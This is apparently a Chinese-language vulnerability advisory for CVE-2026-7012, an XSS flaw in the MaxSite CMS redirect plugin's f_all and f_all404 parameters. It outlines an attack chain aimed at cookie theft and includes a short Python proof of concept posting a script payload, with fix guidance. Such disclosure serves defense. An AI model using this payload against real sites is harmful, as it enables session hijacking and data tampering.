CVE-2026-7012 CVSS 2.4 低危

CVE-2026-7012 MaxSite CMS重定向插件XSS漏洞

披露日期: 2026-04-26

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-7012

漏洞类型

跨站脚本 (XSS)

CVSS评分

2.4 低危

攻击向量

网络 (AV:N)

认证要求

高权限 (PR:H)

用户交互

需要交互 (UI:R)

影响产品

MaxSite CMS

漏洞概述

MaxSite CMS 109.3及之前版本在重定向插件组件中发现安全漏洞。由于参数 `f_all` 和 `f_all404` 缺乏适当的输入过滤，攻击者可利用此漏洞执行跨站脚本（XSS）攻击。尽管供应商将其归类为“Self-XSS”，但这违反了安全编码标准。该漏洞允许远程攻击者进行攻击，目前利用代码已公开。建议升级至109.4版本以修复此问题。

技术细节

该漏洞源于MaxSite CMS的重定向插件未对用户输入的 `f_all` 和 `f_all404` 参数进行有效的安全过滤。具体来说，代码中缺少 `htmlspecialchars()` 函数对输出进行转义，导致攻击者可以注入恶意JavaScript代码。攻击者通过网络向量（AV:N）发起攻击，虽然CVSS向量显示需要高权限（PR:H）和用户交互（UI:R），但漏洞本身允许恶意脚本在受害者的浏览器上下文中执行，可能导致数据篡改或进一步攻击。官方已通过添加过滤函数修复了该问题。

攻击链分析

STEP 1

侦察

攻击者识别目标运行的MaxSite CMS版本为109.3或更低。

STEP 2

载荷构造

攻击者构造包含恶意JavaScript代码的载荷，目标参数为 `f_all` 或 `f_all404`。

STEP 3

漏洞利用

攻击者（利用高权限账户或诱导管理员）向重定向插件接口发送包含恶意参数的请求。

STEP 4

触发执行

服务器未过滤直接返回恶意脚本，当管理员或用户访问相关页面时，脚本在浏览器中执行。

STEP 5

达成目标

攻击者利用执行脚本窃取Cookie或进行会话劫持（完整性影响）。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# PoC for CVE-2026-7012: MaxSite CMS Redirect Plugin XSS
# Target: MaxSite CMS <= 109.3

TARGET_URL = "http://example.com/admin/plugin/redirect"
PAYLOAD = "<script>alert(document.cookie);</script>"

# The vulnerability affects parameters f_all and f_all404
# Exploiting f_all parameter
data = {
    "f_all": PAYLOAD,
    "action": "update_redirects" # Hypothetical action parameter
}

# Note: Exploitation requires High Privileges (PR:H) per CVSS vector
# This demonstrates the payload injection mechanism.
response = requests.post(TARGET_URL, data=data)

if response.status_code == 200:
    print("Payload sent. If reflected/stored without filtering, XSS executes.")
else:
    print(f"Request failed with status code: {response.status_code}")

影响范围

MaxSite CMS <= 109.3

防御指南

临时缓解措施

如果无法立即升级，应在重定向插件处理逻辑中手动添加 `htmlspecialchars()` 函数对 `f_all` 和 `f_all404` 参数进行转义，确保不直接输出未过滤的用户输入。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表